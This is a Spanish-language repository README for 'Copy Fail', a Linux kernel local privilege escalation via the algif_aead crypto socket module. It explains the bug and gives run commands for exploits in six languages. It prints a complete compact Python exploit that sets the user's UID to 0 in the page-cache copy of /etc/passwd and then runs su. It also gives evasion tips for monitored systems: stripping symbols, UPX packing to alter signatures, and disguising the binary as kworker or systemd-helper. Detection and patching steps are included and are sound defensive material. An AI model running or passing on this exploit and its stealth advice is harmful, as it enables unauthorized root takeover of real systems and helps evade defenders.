
Multi-language educational exploit implementations for CVE-2026-31431, a Linux kernel local privilege escalation via the algif_aead module, with a safe detector and CTF usage guidance.
Repo educativo con implementaciones en múltiples lenguajes del exploit Copy Fail.
Creado y mantenido por @shotafry — porque leer el CVE no es suficiente. Hay que reproducirlo.
Copy Fail es una vulnerabilidad de escalada de privilegios local (LPE) en el kernel de Linux, catalogada como CVE-2026-31431. Afecta al subsistema criptográfico del kernel, concretamente al módulo algif_aead que gestiona las operaciones de cifrado autenticado (AEAD) a través de sockets AF_ALG.
El fallo fue introducido en 2017 en una optimización del módulo authencesn y permaneció sin detectarse durante casi 9 años, presente en prácticamente todas las distribuciones Linux modernas.
Lo que hace especial a Copy Fail respecto a otros LPEs históricos:
La vulnerabilidad fue descubierta por Taeyang Lee del equipo de investigación de Theori. La cadena de exploit completa fue desarrollada por el equipo Xint Code Research, que documentó el proceso usando análisis asistido por IA sobre el subsistema crypto/ del kernel de Linux.
La divulgación pública incluye PoC funcional, análisis técnico completo y documentación en copy.fail.
CVE: CVE-2026-31431
CVSS: 7.8 — ALTA
Vector: Local
Impacto: Escalada de privilegios completa (root)
Distros: Todas las distribuciones Linux con kernel >= 2017 sin parchear
El CVSS es 7.8 y no llega a crítico (9+) únicamente porque requiere acceso local previo — el atacante ya debe tener una sesión en el sistema. En entornos cloud y con contenedores Docker, este requisito es considerablemente más fácil de cumplir de lo que parece.
El kernel de Linux guarda en RAM los ficheros que ha leído recientemente. A esto se le llama page cache. Cuando un proceso lee /etc/passwd, el kernel no va al disco — sirve la copia en RAM. Esto es más rápido, pero crea una superficie de ataque: si puedes modificar esa copia en RAM sin tocar el disco, el sistema verá datos falsos.
El módulo algif_aead permite hacer operaciones AEAD desde espacio de usuario a través de sockets AF_ALG. El bug está en la optimización introducida en 2017: cuando se usa splice() para pasar páginas de un fichero al socket, esas páginas de la page cache acaban en la lista de dispersión destino (escribible) de la operación criptográfica.
Resultado: cualquier usuario sin privilegios puede escribir 4 bytes controlados en cualquier fichero que pueda leer, sin tocar el disco.
Usuario sin privilegios
│
▼
Abre socket AF_ALG (authencesn)
│
▼
sendmsg() — parámetros AEAD con nuestros 4 bytes en seqno_lo
│
▼
splice() — fichero → pipe → socket op
[BUG] La page cache del fichero queda en el scatterlist destino
│
▼
recv() dispara la operación AEAD
La auth falla (EBADMSG) pero el scratch-write ya ocurrió
│
▼
/etc/passwd (page cache) ahora dice: usuario → UID 0
│
▼
su <usuario> → PAM valida contraseña real → setuid(0) → ROOT
Imagina que el kernel tiene un libro de registros del castillo (/etc/passwd). Copy Fail es como descubrir que si abres el taller de magia del castillo en un orden muy concreto, el libro de registros accidentalmente se queda sobre tu mesa de trabajo — y puedes cambiar tu rango de "soldado raso" a "rey" con un bolígrafo. El archivero (PAM) comprueba tu contraseña pero no comprueba el libro original, solo la copia que tienes delante. Eres rey.

>= ~2017 sin el parche de CVE-2026-31431algif_aead disponible y cargableEsto realmente se puede saltar y directamente probar uno de los exploits, pero tambien es valido si no queremos arriesgarnos a subir o crearlos y solo queremos ver si funciona, pero los exploits tienen su funcion para revisar si el sistema en cuestion es vulnerable.
# Ver versión del kernel
uname -a
# Comprobar si el algoritmo está disponible
grep -i authencesn /proc/crypto
# Comprobar si el módulo está cargado
lsmod | grep alg
Si grep -i authencesn /proc/crypto devuelve authencesn(hmac(sha256),cbc(aes)), el sistema es vulnerable.
Este repositorio contiene el exploit implementado en 6 lenguajes, todos funcionalmente equivalentes, con comentarios educativos en castellano.
copy_fail_exploit.c → C — binario estático, cero dependencias
copy_fail_exploit.py → Python — más legible, ideal para aprender
copy_fail_exploit.rs → Rust — la ironía: lenguaje "seguro" explota kernel
copy_fail_exploit.go → Go — binario estático, muy portable
copy_fail_exploit.rb → Ruby — omnipresente en servidores Rails
copy_fail_exploit.pl → Perl — el más silencioso, está en todo Linux
test_cve_2026_31431.py → Detector — verifica vulnerabilidad sin explotar nada
python3 test_cve_2026_31431.py
# Compilar
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (limpia al salir, no deja rastro)
./copy_fail_c
# Exploit completo
./copy_fail_c --shell
# Dry-run
python3 copy_fail_exploit.py
# Exploit completo
python3 copy_fail_exploit.py --shell
# Compilar
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# Exploit completo
./copy_fail_rs --shell
# Compilar
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# Exploit completo
./copy_fail_go --shell
# Dry-run
ruby copy_fail_exploit.rb
# Exploit completo
ruby copy_fail_exploit.rb --shell
# Dry-run
perl copy_fail_exploit.pl
# Exploit completo
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (suele venir preinstalado en Kali)
apt install ruby
# Perl (prácticamente siempre presente)
perl --version
Una vez lanzado el exploit (antes del su), puedes verificar visualmente el cambio en la page cache con:
# Terminal 1: monitorización en tiempo real
watch -n 0.5 'grep tuusuario /etc/passwd'
# Terminal 2: lanzar el exploit
python3 copy_fail_exploit.py --shell
Verás cómo el campo UID cambia de 1000 a 0000 en tiempo real. Después del su:
id
# uid=0(root) gid=0(root) groups=0(root)
Para limpiar sin reiniciar (desde la shell root):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE usuario=shotafry uid=1000
[*] /etc/passwd: usuario 'shotafry' — campo UID en offset 3118 = '1000'
[*] Aplicando write4: '1000' -> '0000' en la page cache...
[+] Page cache ahora muestra UID 0 en offset 3118
[+] /etc/passwd (page cache) ahora lista a shotafry como UID 0
[+] Ejecuta: su shotafry
[+] Introduce tu contraseña. su hará setuid(0) → shell root.
El disco nunca se modifica. Un reinicio o drop_caches restaura todo al estado original.
Copy Fail es relevante en cualquier CTF o laboratorio de privesc en Linux donde el kernel no esté parcheado.
algif_aead puede estar desactivado en entornos hardened — si el detector falla en el paso de AF_ALG, busca otro vector# 1. Comprobar kernel
uname -a
# 2. Detector
python3 test_cve_2026_31431.py
# 3. Si vulnerable, exploit
python3 copy_fail_exploit.py --shell
# 4. Limpiar después
echo 3 > /proc/sys/vm/drop_caches
Las implementaciones de este repo están comentadas y son verbosas por diseño educativo. En un contexto de pentesting real, querrás versiones más silenciosas.
El exploit en su núcleo son 5 syscalls: socket, bind, setsockopt, sendmsg, splice. Todo lo demás es cosmético. Una versión silenciosa elimina todo el output y minimiza el código al mínimo funcional.
# Versión compacta sin output — misma funcionalidad, menor superficie de detección
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
⚠️ Nota: los antivirus y EDRs detectan patrones de ofuscación (imports comprimidos, nombres de función de un carácter, zlib+hex encadenado). Un binario C compilado estáticamente sigue siendo la opción más silenciosa en entornos monitorizados.
strip: gcc exploit.c -o exploit && strip exploit — elimina símbolos de debugupx --best exploit — comprime el binario, cambia su firmakworker o systemd-helper para que pase desapercibido en ps# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
Si no puedes parchear inmediatamente, desactiva el módulo vulnerable:
# Desactivar el módulo
rmmod algif_aead 2>/dev/null
# Evitar que se cargue en el futuro
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
El parche debe aplicarse en el kernel del host — los contenedores comparten el kernel y no están aislados de esta vulnerabilidad. Actualizar solo la imagen del contenedor no protege de nada.
CVE-2026-31431-Copy-Fail/
├── README.md ← Este fichero (ES)
├── README_ENGLISH.md ← Versión en inglés
├── copy_fail_exploit.c ← Exploit en C
├── copy_fail_exploit.py ← Exploit en Python
├── copy_fail_exploit.rs ← Exploit en Rust
├── copy_fail_exploit.go ← Exploit en Go
├── copy_fail_exploit.rb ← Exploit en Ruby
├── copy_fail_exploit.pl ← Exploit en Perl
├── test_cve_2026_31431.py ← Detector (safe, no modifica nada)
└── assets/
├── Infografia.png ← Infografía del exploit
├── Exploit en C.png ← Captura del exploit C en acción
└── passwd.png ← Output del detector en sistema vulnerable
Mientras todo el mundo publicaba este CVE con un párrafo generado por IA y un enlace al repo oficial, me pasé el día estudiándolo de verdad: leyendo el código del kernel, entendiendo la page cache, reproduciendo el exploit en laboratorio, y luego portándolo a 6 lenguajes diferentes para entender exactamente qué está pasando en cada capa.
La versión en Rust es mi favorita. Usas el lenguaje más obsesionado con la seguridad de memoria para explotar un fallo en el kernel escrito en C. La ironía se explica sola.
Este repo existe porque creo que la diferencia entre un profesional de seguridad y alguien que solo comparte posts está en si realmente te has sentado a reproducir las cosas.
authencesn / algif_aeadEste repositorio es exclusivamente para uso educativo, investigación en seguridad y pruebas en sistemas propios o con autorización explícita por escrito.
El uso de estas herramientas contra sistemas sin autorización es ilegal en la mayoría de jurisdicciones. El autor no se hace responsable del mal uso de este material.
Prueba solo en lo que es tuyo o tienes permiso para auditar.
Hecho con curiosidad, laboratorio, y demasiado café, o cerveza 0.0 precisamente.
@shotafry
@BrayLozano
| Característica | Copy Fail | LPE típico |
|---|
| Necesita race condition | ❌ No | ✅ Sí |
| Necesita offset específico del kernel | ❌ No | ✅ Sí |
| Funcional en todas las distros | ✅ Sí | ❌ Normalmente no |
| Fiabilidad | 100% determinista | Variable |
| Modifica el disco | ❌ No (solo RAM) | Depende |
| Lenguaje | Requisito en el objetivo | Compilación previa |
|---|
| C | Ninguno (binario estático) | gcc en máquina de compilación |
| Python | Python 3.10+ | No |
| Rust | Ninguno (binario estático) | rustc en máquina de compilación |
| Go | Ninguno (binario estático) | go en máquina de compilación |
| Ruby | Ruby + gem fiddle (incluido por defecto) | No |
| Perl | Perl 5 (incluido en prácticamente todo Linux) | No |